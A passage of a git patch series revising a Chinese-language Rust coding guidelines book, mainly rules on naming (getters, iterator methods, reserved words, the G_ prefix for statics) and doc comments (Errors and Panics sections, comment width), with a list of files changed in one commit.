ClickEvent { x: i64, y: i64 }, } -// 类型别名 +// 不符合:信息冗余 type MaskSize = u16; - pub struct HeaderMap { - // 这样使用就显得有些冗余 mask: MaskSize, } ``` @@ -35,28 +30,21 @@ pub struct HeaderMap { **【正例】** ```rust -// 全局静态变量 -static MAX_THREAD_COUNT: i32 = 42; // 符合 +// 符合 +static MAX_THREAD_COUNT: i32 = 42; -// 枚举类型 // 符合: 上下文信息已经知道它是 Event enum WebEvent { - // An `enum` may either be `unit-like`, PageLoad, PageUnload, - // like tuple structs, KeyPress(char), Paste(String), - // or c-like structures. Click { x: i64, y: i64 }, } -// 类型别名 +// 符合:在使用它的地方自然就知道是描述谁的大小 type Size = u16; - pub struct HeaderMap { - // 在使用它的地方自然就知道是描述谁的大小 mask: Size, } - ``` diff --git a/src/safe-guides/code_style/naming/P.NAM.05.md b/src/safe-guides/code_style/naming/P.NAM.05.md index 26ed77bc..47be69f1 100644 --- a/src/safe-guides/code_style/naming/P.NAM.05.md +++ b/src/safe-guides/code_style/naming/P.NAM.05.md @@ -4,8 +4,9 @@ 因为 Rust 所有权语义的存在,此例子中两个方法的参数分别是共享引用 `&self` 和 独占引用 `&mut self`,分别代表了 getter 的语义。 -**【反例】** +也存在一些例外情况可以用 `get_` 前缀。 +**【反例】** ```rust pub struct First; @@ -48,12 +49,12 @@ pub struct S { } impl S { - // 不建议 `get_first`。 + // 符合 pub fn first(&self) -> &First { &self.first } - // 不建议 `get_first_mut`, `get_mut_first`, or `mut_first`. + // 符合 pub fn first_mut(&mut self) -> &mut First { &mut self.first } @@ -65,11 +66,9 @@ impl S { } ``` - - **【例外】** -但也存在例外情况:只有当有一个明显的东西可以通过`getter`得到时,才会使用`get`命名。例如,`Cell::get`可以访问一个`Cell`的内容。 +但也存在例外情况:只有当需要显式的语义来通过`getter`获取某种数据,才会使用`get`命名。例如,`Cell::get`可以访问一个`Cell`的内容。 对于进行运行时验证的getter,例如边界检查,可以考虑添加一个 Unsafe 的`_unchecked` 配套方法。一般来说,会有以下签名。 @@ -84,7 +83,7 @@ unsafe fn get_unchecked_mut(&mut self, index: K) -> &mut V; getter 和类型转换 ([G.NAM.02](./G.NAM.02.md)) 之间的区别很小,大部分时候不那么清晰可辨。比如 [`TempDir::path`](https://docs.rs/tempdir/0.3.7/tempdir/struct.TempDir.html#method.path) 可以被理解为临时目录的文件系统路径的 getter ,而 [`TempDir::into_path`](https://docs.rs/tempdir/0.3.7/tempdir/struct.TempDir.html#method.into_path) 负责把删除临时目录时转换的数据传给调用者。 -因为 `path` 方法是一个 getter ,如果用 `get_path` 或者 `as_path` 就不对了。 +因为 `path` 方法是一个 getter ,如果用 `get_path` 或者 `as_path` 会造成信息冗余。 [`TempDir::path`]: https://docs.rs/tempdir/0.3.7/tempdir/struct.TempDir.html#method.path [`TempDir::into_path`]: https://docs.rs/tempdir/0.3.7/tempdir/struct.TempDir.html#method.into_path diff --git a/src/safe-guides/code_style/naming/P.NAM.06.md b/src/safe-guides/code_style/naming/P.NAM.06.md index 1e5fca57..c0cfb1b1 100644 --- a/src/safe-guides/code_style/naming/P.NAM.06.md +++ b/src/safe-guides/code_style/naming/P.NAM.06.md @@ -5,27 +5,42 @@ 此规则包含两条基本子规则: 1. 对于容纳 `U` 类型的容器 (container) ,其迭代器方法应该遵循`iter/ iter_mut/ into_iter` 这三种命名方式。 -2. 并且返回的迭代器类型名称也应该和其方法名保持一致,如一个叫做`into_iter()`的方法应该返回一个叫做`IntoIter`的类型。 +2. 返回的迭代器类型名称也应该和其方法名保持一致,如一个叫做`into_iter()`的方法应该返回一个叫做`IntoIter`的类型。 说明: -- 规则一适用于在概念上属于同质集合的数据结构的方法,而非函数。例如,第三方库 `url` 中的 [percent_encode](https://docs.rs/url/1.4.0/url/percent_encoding/fn.percent_encode.html) 返回一个 URL 编码的字符串片段的迭代器。使用`iter/iter_mut/into_iter`约定的话,函数名就不会有任何明确的语义了。 +- 规则一适用于在概念上属于同质集合的数据结构的方法,而非函数。例如,第三方库 `url` 中的 [percent_encode](https://docs.rs/url/1.4.0/url/percent_encoding/fn.percent_encode.html) 返回一个 URL 编码的字符串片段的迭代器,使用`iter/iter_mut/into_iter`约定的话,函数名就会失去明确的语义。 - 规则二同样主要适用于方法,但通常对函数也有意义。例如,第三方库 `url` 中的 [percent_encode](https://docs.rs/url/1.4.0/url/percent_encoding/fn.percent_encode.html) 返回一个`PercentEncode` 类型的迭代器。 -**【反例】** -标准库中存在一个反例: `str` 类型是有效 UTF-8 字节的切片(slice),概念上与同质集合略有差别,所以 `str` 没有提供 `iter`/`iter_mut`/`into_iter` 命名的迭代器方法,而是提供 [`str::bytes`](https://doc.rust-lang.org/stable/std/primitive.str.html#method.bytes) 方法来输出字节迭代器、 [`str::chars`](https://doc.rust-lang.org/stable/std/primitive.str.html#method.chars) 方法来输出字符迭代器。 +**【反例】** +```rust,ignored +// 不符合:没必要加 `to_` 前缀 +fn to_iter(&self) -> Iter // Iter 实现 Iterator +fn to_iter_mut(&mut self) -> IterMut // IterMut 实现 Iterator +fn to_into_iter(self) -> IntoIter // IntoIter 实现 Iterator +``` **【正例】** ```rust,ignored +// 符合 fn iter(&self) -> Iter // Iter 实现 Iterator fn iter_mut(&mut self) -> IterMut // IterMut 实现 Iterator fn into_iter(self) -> IntoIter // IntoIter 实现 Iterator ``` -另外还有来自标准库的例子: +**【例外】** + +标准库中存在一个例外: `str` 类型是有效 UTF-8 字节的切片(slice),概念上与同质集合略有差别,所以 `str` 没有提供 `iter`/`iter_mut`/`into_iter` 命名的迭代器方法,而是提供 [`str::bytes`](https://doc.rust-lang.org/stable/std/primitive.str.html#method.bytes) 方法来输出字节迭代器、 [`str::chars`](https://doc.rust-lang.org/stable/std/primitive.str.html#method.chars) 方法来输出字符迭代器。 + + +**【参考】** + +参考 [RFC 199]: https://github.com/rust-lang/rfcs/blob/master/text/0199-ownership-variants.md + +还有有一些来自标准库的例子可参考: - [`Vec::iter`](https://doc.rust-lang.org/std/vec/struct.Vec.html#method.iter) - [`Vec::iter_mut`](https://doc.rust-lang.org/std/vec/struct.Vec.html#method.iter_mut) @@ -35,17 +50,4 @@ fn into_iter(self) -> IntoIter // IntoIter 实现 Iterator - [`BTreeMap::keys`](https://doc.rust-lang.org/std/collections/struct.BTreeMap.html#method.keys) 返回 [`Keys`][btree_map::Keys](https://doc.rust-lang.org/std/collections/btree_map/struct.Keys.html) - [`BTreeMap::values`](https://doc.rust-lang.org/std/collections/struct.BTreeMap.html#method.values) 返回 [`Values`][btree_map::Values](https://doc.rust-lang.org/std/collections/btree_map/struct.Values.html) -**【参考】** - -参考 [RFC 199]: https://github.com/rust-lang/rfcs/blob/master/text/0199-ownership-variants.md - - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group |是否可定制 | -| ------ | ---- | --------- | ------ | ------ | -| _ | no | no | _ | yes | - -【定制化参考】 -检测 `iter/iter_mut/into_iter` 方法的返回类型是否对应 `Iter/IterMut/IntoIter` ,且,其返回类型是否与方法名相匹配,如果不是,则给予警告。 diff --git a/src/safe-guides/code_style/naming/P.NAM.07.md b/src/safe-guides/code_style/naming/P.NAM.07.md index 080fd17c..1f9352e1 100644 --- a/src/safe-guides/code_style/naming/P.NAM.07.md +++ b/src/safe-guides/code_style/naming/P.NAM.07.md @@ -1,29 +1,30 @@ -## P.NAM.07 避免使用语言内置保留字、关键字、内置类型和`trait`等特殊名称 - -**【级别】** 建议 +## P.NAM.07 避免使用语言内置保留字、关键字、内置类型和`trait`等特殊名称 **【描述】** -命名必须要避免使用语言内置的保留字、关键字、内置类型和`trait`等特殊名称。 具体可以参考[The Rust Reference-Keywords](https://doc.rust-lang.org/stable/reference/keywords.html) +命名必须要避免使用语言内置的保留字、关键字、内置类型和`trait`等特殊名称。 具体可以参考[The Rust Reference-Keywords](https://doc.rust-lang.org/stable/reference/keywords.html)。 **【反例】** ```rust -// Sized : Rust 内置了同名 trait +// 不符合:Rust 内置了 Sized trait type Sized = u16; fn main() { - // try 为保留关键字,使用`r#`前缀可以使用它,但要尽力避免 + // 不符合:try 为保留关键字 + // 如果必须要用,使用`r#`前缀可以使用它,但要尽力避免 let r#try = 1; } ``` -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | +**【正例】** -【定制化参考】 +```rust +// 符合 +type Size = u16; -可以检测 标识符 是否通过`r#`使用了 语言内置的保留字、关键字、内置类型和`trait`等特殊名称,如果使用,则给予警告。 \ No newline at end of file +fn main() { + // 符合 + let tried = 1; +} +``` \ No newline at end of file diff --git a/src/safe-guides/code_style/naming/P.NAM.08.md b/src/safe-guides/code_style/naming/P.NAM.08.md index d80decef..f9c3413e 100644 --- a/src/safe-guides/code_style/naming/P.NAM.08.md +++ b/src/safe-guides/code_style/naming/P.NAM.08.md @@ -4,20 +4,18 @@ 因为 Rust 语言类型系统崇尚显式的哲学,所以不需要在变量命名中也添加关于类型的标识。 - - **【反例】** ```rust -let account_bytes: Vec = read_some_input(); // account 的类型很清楚,没必要在命名中加 `_bytes` -let account_str = String::from_utf8(account_bytes)?; // account 的类型很清楚,没必要在命名中加 `_str` -let account: Account = account_str.parse()?; // account 的类型很清楚,没必要在命名中加 `_str` +let account_bytes: Vec = read_some_input(); // 不符合:account 的类型很清楚,没必要在命名中加 `_bytes` +let account_str = String::from_utf8(account_bytes)?; // 不符合:account 的类型很清楚,没必要在命名中加 `_str` +let account: Account = account_str.parse()?; // 不符合:account 的类型很清楚,没必要在命名中加 `_str` ``` **【正例】** ```rust -let account: Vec = read_some_input(); // account 的类型很清楚 -let account = String::from_utf8(account)?; // account 的类型很清楚 -let account: Account = account.parse()?; // account 的类型很清楚 +let account: Vec = read_some_input(); // 符合 +let account = String::from_utf8(account)?; // 符合 +let account: Account = account.parse()?; // 符合 ``` diff --git a/src/safe-guides/code_style/naming/P.NAM.09.md b/src/safe-guides/code_style/naming/P.NAM.09.md index 7943f2fb..3de72307 100644 --- a/src/safe-guides/code_style/naming/P.NAM.09.md +++ b/src/safe-guides/code_style/naming/P.NAM.09.md @@ -1,14 +1,14 @@ -## P.NAM.09 定义全局静态变量时需加前缀`G_`和常量有所区分 +## P.NAM.09 定义全局静态变量时需加前缀`G_`以便和常量有所区分 **【描述】** -为了提升代码可读性和可维护性,有必要将常量的命名和全局静态变量有所区分。所以在定义全局静态变量时,需要以前缀`G_`命名。 - +为了提升代码可读性和可维护性,有必要将常量的命名和全局静态变量加以区分。所以在定义全局静态变量时,需要以前缀`G_`命名。 **【反例】** ```rust +// 不符合: 无法通过命名直接区分常量和静态变量 static EVENT: [i32;5]=[1,2,3,4,5]; const MAGIC_NUM: i32 = 65 ; ``` @@ -16,6 +16,7 @@ const MAGIC_NUM: i32 = 65 ; **【正例】** ```rust +// 符合 static G_EVENT: [i32;5]=[1,2,3,4,5]; const MAGIC_NUM: i32 = 65 ; ``` From b8f3199951846ef99f6cfcb78735f57143f07df8 Mon Sep 17 00:00:00 2001 From: blackanger Date: Tue, 12 Apr 2022 03:14:59 +0800 Subject: [PATCH 07/10] update --- src/SUMMARY.md | 4 +- .../Appendix/templates/clippy.toml.md | 13 +++ src/safe-guides/code_style/comments.md | 2 +- .../code_style/comments/G.CMT.01.md | 18 +++- .../code_style/comments/G.CMT.02.md | 10 +- .../code_style/comments/G.CMT.03.md | 4 +- .../code_style/comments/G.CMT.04.md | 1 - .../code_style/comments/G.CMT.05.md | 1 - .../code_style/comments/P.CMT.01.md | 36 ++++--- .../code_style/comments/P.CMT.02.md | 14 +-- .../code_style/comments/P.CMT.03.md | 23 ++--- .../code_style/comments/P.CMT.04.md | 2 + .../code_style/comments/P.CMT.05.md | 18 +--- src/safe-guides/code_style/fmt.md | 4 +- src/safe-guides/code_style/fmt/P.FMT.14.md | 20 ++-- src/safe-guides/code_style/fmt/P.FMT.15.md | 11 +-- src/safe-guides/code_style/fmt/P.FMT.16.md | 19 ++-- .../coding_practice/async-await/G.ASY.01.md | 16 +-- .../coding_practice/async-await/G.ASY.02.md | 16 +-- .../coding_practice/async-await/G.ASY.03.md | 12 ++- .../coding_practice/async-await/G.ASY.04.md | 6 +- .../coding_practice/async-await/G.ASY.05.md | 15 +-- .../coding_practice/cargo/G.CAR.01.md | 6 -- .../coding_practice/cargo/G.CAR.02.md | 4 +- .../coding_practice/cargo/G.CAR.03.md | 7 +- .../coding_practice/cargo/G.CAR.04.md | 6 +- .../coding_practice/cargo/P.CAR.02.md | 2 +- .../coding_practice/collections/P.CLT.01.md | 8 +- .../coding_practice/consts/G.CNS.01.md | 10 +- .../coding_practice/consts/G.CNS.02.md | 2 + .../coding_practice/consts/G.CNS.03.md | 9 +- .../coding_practice/consts/G.CNS.04.md | 4 +- .../coding_practice/consts/G.CNS.05.md | 10 +- .../coding_practice/control-flow/G.CTF.01.md | 16 +-- .../coding_practice/control-flow/G.CTF.02.md | 46 +++++---- .../coding_practice/control-flow/G.CTF.03.md | 4 +- .../coding_practice/control-flow/G.CTF.04.md | 16 +-- .../coding_practice/control-flow/P.CTF.01.md | 12 +-- .../coding_practice/control-flow/P.CTF.02.md | 9 +- .../coding_practice/data-type/G.TYP.01.md | 56 +++++++---- .../coding_practice/data-type/G.TYP.02.md | 5 + .../coding_practice/data-type/G.TYP.03.md | 8 +- .../coding_practice/data-type/P.TYP.01.md | 10 +- .../data-type/array/G.TYP.ARR.01.md | 6 ++ .../data-type/array/G.TYP.ARR.02.md | 2 + .../data-type/array/G.TYP.ARR.03.md | 4 +- .../data-type/bool/G.TYP.BOL.01.md | 2 + .../data-type/bool/G.TYP.BOL.02.md | 8 +- .../data-type/bool/G.TYP.BOL.03.md | 1 + .../data-type/bool/G.TYP.BOL.04.md | 6 +- .../data-type/bool/G.TYP.BOL.05.md | 7 +- .../data-type/bool/G.TYP.BOL.06.md | 12 +-- .../data-type/char/G.TYP.CHR.01.md | 4 +- .../data-type/char/G.TYP.CHR.02.md | 2 + .../data-type/char/G.TYP.CHR.03.md | 8 +- .../data-type/enum/G.TYP.ENM.01.md | 14 +-- .../data-type/enum/G.TYP.ENM.02.md | 11 ++- .../data-type/enum/G.TYP.ENM.03.md | 11 +-- .../data-type/enum/G.TYP.ENM.04.md | 36 ++++--- .../data-type/enum/G.TYP.ENM.05.md | 8 +- .../data-type/enum/G.TYP.ENM.06.md | 2 + .../coding_practice/data-type/float.md | 4 +- .../data-type/float/G.TYP.FLT.01.md | 6 +- .../data-type/float/G.TYP.FLT.02.md | 35 +++++-- .../data-type/float/G.TYP.FLT.03.md | 53 ++++++---- .../data-type/float/G.TYP.FLT.04.md | 99 ++++++++++--------- .../data-type/float/G.TYP.FLT.05.md | 8 +- .../data-type/int/G.TYP.INT.01.md | 19 +++- .../data-type/int/G.TYP.INT.02.md | 28 ++++-- .../data-type/int/G.TYP.INT.03.md | 4 + .../data-type/slice/P.TYP.SLC.01.md | 26 ++--- .../data-type/slice/P.TYP.SLC.02.md | 24 +---- .../data-type/struct/G.TYP.SCT.01.md | 7 +- .../data-type/struct/G.TYP.SCT.02.md | 13 ++- .../data-type/struct/G.TYP.SCT.03.md | 2 + .../data-type/struct/P.TYP.SCT.01.md | 2 + .../data-type/struct/P.TYP.SCT.02.md | 18 +--- .../data-type/tuple/G.TYP.TUP.01.md | 11 +-- .../data-type/vec/G.TYP.Vec.01.md | 12 +-- .../data-type/vec/P.TYP.Vec.01.md | 6 +- .../data-type/vec/P.TYP.Vec.02.md | 3 +- .../coding_practice/error-handle/G.ERR.01.md | 12 ++- .../coding_practice/error-handle/G.ERR.02.md | 43 +++++--- .../coding_practice/error-handle/P.ERR.01.md | 3 - .../coding_practice/error-handle/P.ERR.02.md | 2 +- .../coding_practice/expr/G.EXP.01.md | 4 +- .../coding_practice/expr/G.EXP.02.md | 14 ++- .../coding_practice/expr/G.EXP.03.md | 11 ++- .../coding_practice/expr/G.EXP.04.md | 4 +- .../coding_practice/expr/G.EXP.05.md | 8 +- .../coding_practice/expr/G.EXP.06.md | 4 +- .../coding_practice/fn-design/G.FUD.01.md | 3 +- .../coding_practice/fn-design/G.FUD.02.md | 8 +- .../coding_practice/fn-design/G.FUD.03.md | 7 ++ .../coding_practice/fn-design/G.FUD.04.md | 4 + .../coding_practice/fn-design/G.FUD.05.md | 7 +- .../coding_practice/fn-design/G.FUD.06.md | 7 +- .../coding_practice/fn-design/P.FUD.01.md | 12 +-- .../coding_practice/fn-design/P.FUD.02.md | 8 +- .../coding_practice/generic/G.GEN.01.md | 2 + .../coding_practice/generic/G.GEN.02.md | 22 +++-- .../coding_practice/generic/P.GEN.01.md | 4 +- .../coding_practice/generic/P.GEN.05.md | 4 +- .../coding_practice/io/G.FIO.01.md | 2 +- .../coding_practice/macros/G.MAC.01.md | 9 +- .../coding_practice/macros/G.MAC.02.md | 17 +--- .../coding_practice/macros/P.MAC.02.md | 10 +- .../macros/decl/P.MAC.DCL.01.md | 4 +- .../macros/decl/P.MAC.DCL.02.md | 2 +- .../macros/decl/P.MAC.DCL.04.md | 2 +- .../memory/box/G.MEM.BOX.01.md | 16 +-- .../memory/box/G.MEM.BOX.02.md | 3 +- .../memory/box/G.MEM.BOX.03.md | 6 +- .../memory/drop/G.MEM.DRP.01.md | 2 +- .../memory/lifetime/P.MEM.LFT.01.md | 1 + .../memory/lifetime/P.MEM.LFT.02.md | 6 +- .../memory/smart-ptr/P.MEM.SPT.01.md | 2 + .../coding_practice/module/G.MOD.01.md | 13 +-- .../coding_practice/module/G.MOD.02.md | 12 +-- .../coding_practice/module/G.MOD.03.md | 5 +- .../coding_practice/module/G.MOD.04.md | 17 ++-- .../coding_practice/module/G.MOD.05.md | 15 +-- .../coding_practice/module/P.MOD.01.md | 2 +- .../coding_practice/module/P.MOD.02.md | 2 +- .../coding_practice/others/G.OTH.01.md | 15 +-- .../coding_practice/others/G.OTH.02.md | 8 +- .../coding_practice/security/G.SEC.01.md | 1 + .../coding_practice/statics/G.STV.01.md | 18 +++- .../coding_practice/strings/G.STR.01.md | 8 +- .../coding_practice/strings/G.STR.02.md | 10 +- .../coding_practice/strings/G.STR.03.md | 4 + .../coding_practice/strings/G.STR.04.md | 4 + .../coding_practice/strings/G.STR.05.md | 36 ++++--- .../threads/lock/G.MTH.LCK.01.md | 2 + .../threads/lock/G.MTH.LCK.02.md | 31 ++++-- .../threads/lock/G.MTH.LCK.03.md | 13 +-- .../threads/lock/G.MTH.LCK.04.md | 13 +-- .../traits/std-builtin/G.TRA.BLN.01.md | 5 + .../traits/std-builtin/G.TRA.BLN.02.md | 10 +- .../traits/std-builtin/G.TRA.BLN.03.md | 3 +- .../traits/std-builtin/G.TRA.BLN.04.md | 5 +- .../traits/std-builtin/G.TRA.BLN.05.md | 8 +- .../traits/std-builtin/G.TRA.BLN.06.md | 7 +- .../traits/std-builtin/G.TRA.BLN.07.md | 7 +- .../traits/std-builtin/G.TRA.BLN.08.md | 4 +- .../traits/std-builtin/G.TRA.BLN.09.md | 7 +- .../traits/std-builtin/G.TRA.BLN.10.md | 8 +- .../traits/std-builtin/P.TRA.BLN.01.md | 4 +- .../unsafe_rust/mem/G.UNS.MEM.01.md | 27 ++--- .../unsafe_rust/mem/P.UNS.MEM.03.md | 6 +- .../unsafe_rust/raw_ptr/G.UNS.PTR.01.md | 14 +-- .../unsafe_rust/raw_ptr/G.UNS.PTR.02.md | 7 +- .../unsafe_rust/raw_ptr/G.UNS.PTR.03.md | 10 +- .../unsafe_rust/safe_abstract/G.UNS.SAS.01.md | 2 + .../unsafe_rust/safe_abstract/G.UNS.SAS.02.md | 6 +- src/safe-guides/coding_practice/variables.md | 8 +- .../coding_practice/variables/G.VAR.01.md | 21 ++-- .../coding_practice/variables/G.VAR.02.md | 4 +- .../coding_practice/variables/G.VAR.03.md | 70 ++++++------- .../coding_practice/variables/G.VAR.04.md | 29 +++--- .../coding_practice/variables/P.VAR.01.md | 13 ++- .../coding_practice/variables/P.VAR.02.md | 30 +++--- src/safe-guides/overview/convention.md | 2 +- 163 files changed, 1024 insertions(+), 836 deletions(-) delete mode 100644 src/safe-guides/code_style/comments/G.CMT.04.md delete mode 100644 src/safe-guides/code_style/comments/G.CMT.05.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 3bc8ed8f..1eb0d953 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -37,8 +37,8 @@ - [P.CMT.01](./safe-guides/code_style/comments/P.CMT.01.md) - [P.CMT.02](./safe-guides/code_style/comments/P.CMT.02.md) - [P.CMT.03](./safe-guides/code_style/comments/P.CMT.03.md) - - [P.CMT.04](./safe-guides/code_style/comments/G.CMT.04.md) - - [P.CMT.05](./safe-guides/code_style/comments/G.CMT.05.md) + - [P.CMT.04](./safe-guides/code_style/comments/P.CMT.04.md) + - [P.CMT.05](./safe-guides/code_style/comments/P.CMT.05.md) - [G.CMT.01](./safe-guides/code_style/comments/G.CMT.01.md) - [G.CMT.02](./safe-guides/code_style/comments/G.CMT.02.md) - [G.CMT.03](./safe-guides/code_style/comments/G.CMT.03.md) diff --git a/src/safe-guides/Appendix/templates/clippy.toml.md b/src/safe-guides/Appendix/templates/clippy.toml.md index e99d30cb..8337a478 100644 --- a/src/safe-guides/Appendix/templates/clippy.toml.md +++ b/src/safe-guides/Appendix/templates/clippy.toml.md @@ -169,3 +169,16 @@ Embark 也在跟踪和推动在 Cargo 中支持 Lint 配置的功能,相关 is - [Be able to disable/enable Clippy lints globally](https://github.com/EmbarkStudios/rust-ecosystem/issues/22) - [Support defining enabled and disabled lints in a configuration file](https://github.com/rust-lang/cargo/issues/5034) - [[Roadmap] Configuration file for lints](https://github.com/rust-lang/rust-clippy/issues/6625) + +## 代码生成相关 clippy 配置 + +和 C 语言绑定代码生成,避免clippy 警告,相关配置可参考: + +```rust +// Generated by gir (https://github.com/gtk-rs/gir @ 5bbf6cb) +// from ../gir-files (@ 8e47c67) +// DO NOT EDIT + +#![allow(non_camel_case_types, non_upper_case_globals, non_snake_case)] +#![allow(clippy::approx_constant, clippy::type_complexity, clippy::unreadable_literal, clippy::upper_case_acronyms)] +``` \ No newline at end of file diff --git a/src/safe-guides/code_style/comments.md b/src/safe-guides/code_style/comments.md index cb147264..51921a69 100644 --- a/src/safe-guides/code_style/comments.md +++ b/src/safe-guides/code_style/comments.md @@ -8,7 +8,7 @@ ## 列表 - [P.CMT.01 代码能做到自注释,文档要干练简洁](./comments/P.CMT.01.md) -- [P.CMT.02 注释应该有一定宽度限制](./comments/P.CMT.02.md) +- [P.CMT.02 注释应该有宽度限制](./comments/P.CMT.02.md) - [P.CMT.03 使用行注释而避免使用块注释](./comments/P.CMT.03.md) - [P.CMT.04 文件头注释包含版权说明](./comments/P.CMT.04.md) - [P.CMT.05 在注释中使用 FIXME 和 TODO 来帮助任务协作](./comments/P.CMT.05.md) diff --git a/src/safe-guides/code_style/comments/G.CMT.01.md b/src/safe-guides/code_style/comments/G.CMT.01.md index 4e0c8028..70f2b969 100644 --- a/src/safe-guides/code_style/comments/G.CMT.01.md +++ b/src/safe-guides/code_style/comments/G.CMT.01.md @@ -1,17 +1,21 @@ -## G.CMT.01 在 公开的返回`Result`类型返回的函数文档中增加 Error 注释 +## G.CMT.01 在公开的返回`Result`类型的函数文档中增加 Error 注释 **【级别】** 建议 **【描述】** -在公开(pub)的返回`Result`类型函数文档中,建议增加 `# Error` 注释来解释什么场景下该函数会返回什么样的错误类型,方便用户处理错误。 +在公开(pub)的返回`Result`类型的函数文档中,建议增加 `# Error` 注释来解释什么场景下该函数会返回什么样的错误类型,方便用户处理错误。 -说明: 该规则通过 cargo clippy 来检测。默认不会警告。 +说明: 该规则可以通过 cargo clippy 来检测,但默认不会警告。 **【反例】** + ```rust -# use std::io; +#![warn(clippy::missing_errors_doc)] + +use std::io; +// 不符合: Clippy 会警告 "warning: docs for function returning `Result` missing `# Errors` section" pub fn read(filename: String) -> io::Result { unimplemented!(); } @@ -20,7 +24,11 @@ pub fn read(filename: String) -> io::Result { **【正例】** ```rust -# use std::io; +#![warn(clippy::missing_errors_doc)] + +use std::io; +// 符合:增加了规范的 Errors 文档注释 + /// # Errors /// /// Will return `Err` if `filename` does not exist or the user does not have diff --git a/src/safe-guides/code_style/comments/G.CMT.02.md b/src/safe-guides/code_style/comments/G.CMT.02.md index bea90809..6be883a6 100644 --- a/src/safe-guides/code_style/comments/G.CMT.02.md +++ b/src/safe-guides/code_style/comments/G.CMT.02.md @@ -11,6 +11,9 @@ **【反例】** ```rust +#![warn(clippy::missing_panics_doc)] + +// 不符合:没有添加 Panic 相关的文档注释,Clippy会报错 "warning: docs for function which may panic missing `# Panics` section"。 pub fn divide_by(x: i32, y: i32) -> i32 { if y == 0 { panic!("Cannot divide by 0") @@ -23,6 +26,9 @@ pub fn divide_by(x: i32, y: i32) -> i32 { **【正例】** ```rust +#![warn(clippy::missing_panics_doc)] + +// 符合:增加了规范的 Panic 注释 /// # Panics /// /// Will panic if y is 0 @@ -39,4 +45,6 @@ pub fn divide_by(x: i32, y: i32) -> i32 { | lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 默认 level | | ------ | ---- | --------- | ------ | ------ | -| [missing_panics_doc ](https://rust-lang.github.io/rust-clippy/master/index.html#missing_panics_doc ) | yes| no | Style | allow | \ No newline at end of file +| [missing_panics_doc ](https://rust-lang.github.io/rust-clippy/master/index.html#missing_panics_doc ) | yes| no | Style | allow | + +默认为 `allow`,但是此规则需要设置`#![warn(clippy::missing_panics_doc)]`。 \ No newline at end of file diff --git a/src/safe-guides/code_style/comments/G.CMT.03.md b/src/safe-guides/code_style/comments/G.CMT.03.md index 1ed9b49f..55e3c1cf 100644 --- a/src/safe-guides/code_style/comments/G.CMT.03.md +++ b/src/safe-guides/code_style/comments/G.CMT.03.md @@ -11,6 +11,7 @@ Rust 代码风格中提倡使用**四个空格**代替tab,在文档注释中 下面文档注释中使用了 tab。 ```rust +// 不符合:文档注释中使用了 tab 缩进 /// /// Struct to hold two strings: /// - first one @@ -30,6 +31,7 @@ pub struct DoubleString { **【正例】** ```rust +// 符合:文档注释中使用了四个空格缩进 /// /// Struct to hold two strings: /// - first one @@ -51,5 +53,3 @@ pub struct DoubleString { | lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 默认 level | | ------------------------------------------------------------ | ------------- | ------------ | ---------- | ---------- | | [tabs_in_doc_comments ](https://rust-lang.github.io/rust-clippy/master/index.html#tabs_in_doc_comments ) | yes | no | Style | warn | - ---- \ No newline at end of file diff --git a/src/safe-guides/code_style/comments/G.CMT.04.md b/src/safe-guides/code_style/comments/G.CMT.04.md deleted file mode 100644 index ea6fefbe..00000000 --- a/src/safe-guides/code_style/comments/G.CMT.04.md +++ /dev/null @@ -1 +0,0 @@ -# P.CMT.04 diff --git a/src/safe-guides/code_style/comments/G.CMT.05.md b/src/safe-guides/code_style/comments/G.CMT.05.md deleted file mode 100644 index 4dd7803d..00000000 --- a/src/safe-guides/code_style/comments/G.CMT.05.md +++ /dev/null @@ -1 +0,0 @@ -# P.CMT.05 diff --git a/src/safe-guides/code_style/comments/P.CMT.01.md b/src/safe-guides/code_style/comments/P.CMT.01.md index 8ef89d6b..956262b1 100644 --- a/src/safe-guides/code_style/comments/P.CMT.01.md +++ b/src/safe-guides/code_style/comments/P.CMT.01.md @@ -22,6 +22,8 @@ 模块级文档,来自于 Rust 标准库`std::vec`: ```rust +// 符合 + //! # The Rust core allocation and collections library //! //! This library provides smart pointers and collections for managing @@ -42,20 +44,22 @@ 普通文档注释示例,来自标准库`Vec::new`方法: ```rust - /// Constructs a new, empty `Vec`. - /// - /// The vector will not allocate until elements are pushed onto it. - /// - /// # Examples - /// - /// ``` - /// # #![allow(unused_mut)] - /// let mut vec: Vec = Vec::new(); - /// ``` - #[inline] - #[rustc_const_stable(feature = "const_vec_new", since = "1.39.0")] - #[stable(feature = "rust1", since = "1.0.0")] - pub const fn new() -> Self { - Vec { buf: RawVec::NEW, len: 0 } - } +// 符合 + +/// Constructs a new, empty `Vec`. +/// +/// The vector will not allocate until elements are pushed onto it. +/// +/// # Examples +/// +/// ``` +/// # #![allow(unused_mut)] +/// let mut vec: Vec = Vec::new(); +/// ``` +#[inline] +#[rustc_const_stable(feature = "const_vec_new", since = "1.39.0")] +#[stable(feature = "rust1", since = "1.0.0")] +pub const fn new() -> Self { + Vec { buf: RawVec::NEW, len: 0 } +} ``` \ No newline at end of file diff --git a/src/safe-guides/code_style/comments/P.CMT.02.md b/src/safe-guides/code_style/comments/P.CMT.02.md index 40a75a55..c7c793dc 100644 --- a/src/safe-guides/code_style/comments/P.CMT.02.md +++ b/src/safe-guides/code_style/comments/P.CMT.02.md @@ -1,14 +1,17 @@ -## P.CMT.02 注释应该有一定宽度限制 +## P.CMT.02 注释应该有宽度限制 **【描述】** -每行注释的宽度不能过长,需要设置一定的宽度,有助于提升可读性。`comment_width`可配合 `wrap_comments` 将超过宽度限制的注释自动分割为多行。 +每行注释的宽度不能过长,需要设置一定的宽度,不超过120,有助于提升可读性。 -注意:`use_small_heuristics`配置项并不包括`comment_width`。 +`rustfmt`中通过`comment_width`配合 `wrap_comments` 配置项,可将超过宽度限制的注释自动分割为多行。 + +注意:`rustfmt`的 `use_small_heuristics`配置项并不包括`comment_width`。 **【反例】** ```rust +// 不符合 // Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. ``` @@ -19,6 +22,7 @@ 注意:这里 